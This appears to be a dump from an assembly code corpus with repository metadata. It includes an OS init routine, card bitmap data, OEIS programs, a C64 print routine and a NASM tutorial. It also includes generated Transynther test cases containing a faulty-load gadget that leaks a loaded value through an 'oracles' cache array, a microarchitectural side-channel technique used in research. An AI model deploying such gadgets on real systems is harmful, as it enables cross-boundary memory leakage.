%r9 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_UC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
32.984314
2,999
0.662109
bf673b7baa1f1d2d3d5676ae831a62c659c08b0b
2,721
asm
Assembly
src/sys/init.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
7
2017-01-11T17:13:10.000Z
2022-02-17T06:40:50.000Z
src/sys/init.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
null
null
null
src/sys/init.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
1
2019-06-24T09:49:43.000Z
2019-06-24T09:49:43.000Z
;; ;; SYSINIT: Root Process for MEG-OS Zero ;; ;; Copyright (c) MEG-OS project ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without modification, ;; are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, this ;; list of conditions and the following disclaimer. ;; ;; * Redistributions in binary form must reproduce the above copyright notice, this ;; list of conditions and the following disclaimer in the documentation and/or ;; other materials provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ;; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ;; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ;; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ;; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ;; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ;; ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ;; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "osz.inc" %define STDAUX_FILENO 3 %define STDPRN_FILENO 4 [CPU 8086] [BITS 16] [ORG 0x0100] sub bp, bp jmp _init alignb 2 __bdos resw 1 _call_bdos: jmp word [cs:__bdos] ; --------------------------------------------------------------------- _init: mov [__bdos], bp mov sp, _END ; INIT STDIO mov dx, _CON mov ah, OSZ_OPEN call _call_bdos mov bx, ax ; mov cx, STDIN_FILENO ; mov ah, OSZ_DUP2 ; call _call_bdos mov cx, STDOUT_FILENO mov ah, OSZ_DUP2 call _call_bdos mov cx, STDERR_FILENO mov ah, OSZ_DUP2 call _call_bdos mov dx, _CON mov ah, OSZ_OPEN call _call_bdos mov bx, ax ; mov cx, STDAUX_FILENO ; mov ah, OSZ_DUP2 ; call _call_bdos mov cx, STDPRN_FILENO mov ah, OSZ_DUP2 call _call_bdos ; INVOKE SHELL push cs pop ds xor bx, bx mov es, bx mov dx, _SHELL mov ah, OSZ_EXEC call _call_bdos ; SHUTDOWN int 0x20 ; --------------------------------------------------------------------- _CON db "CON", 0 _NUL db "NUL", 0 _SHELL db "ZCOM.COM", 0 _CONFIG_SYS db "CONFIG.SYS", 0 _default_config: db "dos=high", 13, 10 db "buffers=8", 13, 10 db "files=20", 13, 10 db "device=fdfs.sys", 13, 10 db 0 _buffer: alignb 16 resb 256 _END:
23.868421
84
0.664094
9afe7de6dbb5bffd0f1d505cc94e2a9398b41723
2,609
asm
Assembly
Appl/Art/Decks/GeoDeck/CGADiamondJ.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Art/Decks/GeoDeck/CGADiamondJ.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Art/Decks/GeoDeck/CGADiamondJ.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
CGADiamondJ label byte word C_BLACK Bitmap <67,41,0,BMF_MONO> db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x07, 0xe0, 0x00, 0x3b, 0x76, 0xd0, 0x00, 0x0e, 0x00 db 0x01, 0x80, 0x00, 0x6d, 0x8d, 0xb4, 0x03, 0x34, 0x00 db 0x01, 0x9f, 0xff, 0xeb, 0x79, 0x6f, 0xfe, 0xea, 0x00 db 0x01, 0x90, 0x70, 0x1f, 0xff, 0xf0, 0x05, 0xb4, 0x00 db 0x01, 0x91, 0xac, 0x14, 0x05, 0x50, 0x06, 0x8e, 0x00 db 0x31, 0x93, 0x56, 0x15, 0x9a, 0xa8, 0x05, 0x80, 0x00 db 0x1f, 0x16, 0xab, 0x34, 0x42, 0xa8, 0xc6, 0x8c, 0x00 db 0x00, 0x13, 0x56, 0x54, 0x82, 0xa8, 0x7d, 0xf8, 0x00 db 0x00, 0x11, 0xac, 0x34, 0x42, 0xbc, 0x1f, 0xe0, 0x00 db 0x00, 0x10, 0x70, 0x56, 0x05, 0x6a, 0x05, 0x80, 0x00 db 0x00, 0x10, 0x00, 0x7b, 0xeb, 0xdc, 0x06, 0x80, 0x00 db 0x00, 0x10, 0x07, 0xe0, 0x1e, 0x0f, 0x05, 0x80, 0x00 db 0x00, 0x18, 0x7e, 0xbc, 0x00, 0x71, 0xde, 0x80, 0x00 db 0x00, 0x35, 0xf7, 0x5b, 0xff, 0x86, 0x2f, 0x80, 0x00 db 0x00, 0x2f, 0xc7, 0xac, 0x03, 0x1a, 0x28, 0x60, 0x00 db 0x00, 0x34, 0x1c, 0xd6, 0x0c, 0x74, 0x28, 0x20, 0x00 db 0x00, 0x2f, 0xf6, 0x6b, 0x39, 0x9a, 0x24, 0x20, 0x00 db 0x00, 0x35, 0x71, 0x35, 0xfe, 0x4d, 0x1f, 0xc0, 0x00 db 0x00, 0x2c, 0xac, 0x9b, 0xfb, 0x26, 0xa6, 0x80, 0x00 db 0x00, 0x7f, 0x16, 0x4f, 0xf5, 0x91, 0xd5, 0x80, 0x00 db 0x00, 0x84, 0x8b, 0x33, 0x9a, 0xcd, 0xfe, 0x80, 0x00 db 0x00, 0x82, 0x85, 0xc6, 0x0d, 0x67, 0x05, 0x80, 0x00 db 0x00, 0xc2, 0x8b, 0x18, 0x06, 0xbc, 0x7e, 0x80, 0x00 db 0x00, 0x3e, 0x8c, 0x3f, 0xfb, 0x5d, 0xf5, 0x80, 0x00 db 0x00, 0x2f, 0x71, 0xc0, 0x07, 0xaf, 0xc3, 0x00, 0x00 db 0x00, 0x34, 0x1e, 0x0f, 0x00, 0xfc, 0x01, 0x00, 0x00 db 0x00, 0x2c, 0x07, 0x7a, 0xfb, 0xc0, 0x01, 0x00, 0x00 db 0x00, 0x34, 0x0a, 0xd4, 0x0d, 0x41, 0xc1, 0x00, 0x00 db 0x00, 0xff, 0x07, 0xa8, 0x45, 0x86, 0xb1, 0x00, 0x00 db 0x03, 0xf7, 0xc2, 0xa8, 0x25, 0x4d, 0x59, 0x00, 0x00 db 0x06, 0x2c, 0x62, 0xa8, 0x45, 0x9a, 0xad, 0x1f, 0x00 db 0x00, 0x34, 0x02, 0xab, 0x35, 0x0d, 0x59, 0x31, 0x80 db 0x0e, 0x2c, 0x01, 0x54, 0x05, 0x06, 0xb1, 0x30, 0x00 db 0x05, 0xb4, 0x01, 0xff, 0xff, 0x01, 0xc1, 0x30, 0x00 db 0x0a, 0xef, 0xfe, 0xd3, 0xda, 0xff, 0xff, 0x30, 0x00 db 0x05, 0x98, 0x05, 0xb6, 0x36, 0xc0, 0x00, 0x30, 0x00 db 0x0e, 0x00, 0x01, 0x6d, 0xdb, 0x80, 0x00, 0xfc, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
30.337209
53
0.616328
1cec1e71e5a11c4a026cd1d2a56a1a35ec35e513
5,389
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_775.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_775.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_775.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x21bc, %rsi lea addresses_D_ht+0x18df8, %rdi nop nop sub $49593, %r13 mov $17, %rcx rep movsw nop nop nop nop nop sub $14848, %rcx lea addresses_A_ht+0xb3bc, %rbx nop nop nop nop nop and %r9, %r9 movl $0x61626364, (%rbx) nop nop xor $42335, %rbx lea addresses_WC_ht+0x1e78c, %r13 nop inc %r8 mov (%r13), %rdi nop nop nop inc %rdi lea addresses_D_ht+0x15ccc, %rdi clflush (%rdi) nop nop nop xor $42320, %rbx movl $0x61626364, (%rdi) nop and %rsi, %rsi lea addresses_WT_ht+0x19aac, %rsi lea addresses_A_ht+0xc05c, %rdi nop nop inc %rax mov $8, %rcx rep movsb nop nop nop xor %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %r8 push %rbp push %rbx // Store lea addresses_PSE+0x2bcc, %r8 nop nop lfence mov $0x5152535455565758, %r14 movq %r14, (%r8) nop nop nop cmp $51625, %rbp // Faulty Load lea addresses_WC+0xd36c, %r13 nop nop nop nop sub $2788, %rbx mov (%r13), %r14w lea oracles, %r8 and $0xff, %r14 shlq $12, %r14 mov (%r8,%r14,1), %r14 pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_PSE'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
40.825758
2,999
0.659677
1d87f9825527eb90b780ac52d65a8958c3b05aad
455
asm
Assembly
oeis/159/A159353.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/159/A159353.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/159/A159353.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A159353: a(n) = the smallest positive integer such that a(n) *(2^n -2) is a multiple of n. ; Submitted by Simon Strandgaard ; 1,1,1,2,1,3,1,4,3,5,1,6,1,7,5,8,1,9,1,10,7,11,1,12,5,13,9,2,1,15,1,16,11,17,35,18,1,19,13,20,1,21,1,22,3,23,1,24,7,25,17,26,1,27,55,28,19,29,1,30,1,31,21,32,13,33,1,34,23,5,1,36,1,37,25,38,77,39,1,40,27,41,1,42,17,43,29,44,1,45,13,46,31,47,95,48,1,49,33,50 mov $1,$0 seq $1,214606 ; a(n) = gcd(n, 2^n - 2). div $0,$1 add $0,1
50.555556
258
0.615385
567737180e986b269d177b02a924c0d4efcac4df
279
asm
Assembly
printbyte.asm
laffey98/c64-snake
1fbd458930090a89b11aa837ee78b52a22bcff56
[ "MIT" ]
5
2021-03-31T12:41:46.000Z
2021-10-12T05:52:56.000Z
printbyte.asm
dreamingPainter/c64-snake
dd1ab483f78d65b05405ea3ced5bdd9624e7478a
[ "MIT" ]
1
2021-04-12T12:12:54.000Z
2021-04-12T12:13:23.000Z
printbyte.asm
dreamingPainter/c64-snake
dd1ab483f78d65b05405ea3ced5bdd9624e7478a
[ "MIT" ]
5
2021-03-31T12:41:51.000Z
2022-02-04T07:14:17.000Z
.data zp .space _na 1 ; a的临时存放处 .text printbyte: php pha sta _na txa pha ldx #8 ; 打印8bit * lda #$30 ; a = '0' asl _na ; 左移一位,溢出到c adc #0 ; a = a + c + 0 jsr chrout ; putchar(a) dex ; x-- bne - ; if(x != 0) goto 上个星号 lda #$20 jsr chrout pla tax pla plp rts
12.130435
30
0.562724
a6cebdf400902f0741625d7bfa10d69e68cfca28
1,242
asm
Assembly
doc/assembly_arithmetics_if/code/00_arithmetics_if.asm
CodeLingoBot/learn
d7ea19cb9a887ec60435698b9e945a110163eea2
[ "CC-BY-4.0" ]
1,235
2015-09-08T20:21:49.000Z
2022-03-28T10:54:28.000Z
doc/assembly_arithmetics_if/code/00_arithmetics_if.asm
fengpf/learn
d7ea19cb9a887ec60435698b9e945a110163eea2
[ "CC-BY-4.0" ]
10
2015-09-08T23:16:52.000Z
2021-12-15T01:15:13.000Z
doc/assembly_arithmetics_if/code/00_arithmetics_if.asm
fengpf/learn
d7ea19cb9a887ec60435698b9e945a110163eea2
[ "CC-BY-4.0" ]
183
2015-09-08T14:46:09.000Z
2022-03-06T07:03:31.000Z
; ------------------------------------------------------------- ; nasm -f elf64 -o 00_arithmetics_if.o 00_arithmetics_if.asm ; ld -o 00_arithmetics_if 00_arithmetics_if.o ; ./00_arithmetics_if ; ------------------------------------------------------------- section .data ; define constants num1: equ 100 num2: equ 50 ; initialize message myMessage: db "Correct" section .text global _start _start: ; copy num1's value to rax (temporary register) mov rax, num1 ; copy num2's value to rbx mov rbx, num2 ; put rax + rbx into rax add rax, rbx ; compare rax and 150 cmp rax, 150 ; go to .exit label if rax and 150 are not equal jne .exit ; go to .correctSum label if rax and 150 are equal jmp .correctSum ; Print message that sum is correct .correctSum: ; write syscall mov rax, 1 ; file descritor, standard output mov rdi, 1 ; message address mov rsi, myMessage ; length of message mov rdx, 15 ; call write syscall syscall ; exit from program jmp .exit ; exit procedure .exit: ; exit syscall mov rax, 60 ; exit code mov rdi, 0 ; call exit syscall syscall
20.7
63
0.557166
f22de0fa445166596e1a12ad3180dd8c63e4952c
271
asm
Assembly
data/mapHeaders/SSAnne2FRooms.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapHeaders/SSAnne2FRooms.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapHeaders/SSAnne2FRooms.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SSAnne2FRooms_h: db SHIP ; tileset db SS_ANNE_2F_ROOMS_HEIGHT, SS_ANNE_2F_ROOMS_WIDTH ; dimensions (y, x) dw SSAnne2FRooms_Blocks ; blocks dw SSAnne2FRooms_TextPointers ; texts dw SSAnne2FRooms_Script ; scripts db 0 ; connections dw SSAnne2FRooms_Object ; objects
30.111111
71
0.811808
9af89b85345f857ab4953f420e071985c874083b
62
asm
Assembly
tests/function_simple/err_result_size_larger1.asm
dommilosz/customasm
d2c55b52d64ea47f5cdb91cd8ec463f37ccadf32
[ "Apache-2.0" ]
null
null
null
tests/function_simple/err_result_size_larger1.asm
dommilosz/customasm
d2c55b52d64ea47f5cdb91cd8ec463f37ccadf32
[ "Apache-2.0" ]
null
null
null
tests/function_simple/err_result_size_larger1.asm
dommilosz/customasm
d2c55b52d64ea47f5cdb91cd8ec463f37ccadf32
[ "Apache-2.0" ]
null
null
null
#fn add1(value) => value + 1 #d8 add1(0xffff) ; error: larger
20.666667
32
0.645161
1737778938a44e8f5cd5fad7ec7f7355b01fe13e
428
asm
Assembly
programs/oeis/118/A118149.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/118/A118149.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/118/A118149.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A118149: Start with 1 and repeatedly reverse the digits and add 52 to get the next term. ; 1,53,87,130,83,90,61,68,138,883,440,96,121,173,423,376,725,579,1027,7253,3579,9805,5141,1467,7693,4019,9156,6571,1808,8133,3370,785,639,988,941,201,154,503,357,805,560,117,763,419,966,721,179,1023,3253,3575 mov $2,$0 mov $0,1 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,52 sub $2,1 lpe
38.909091
208
0.714953
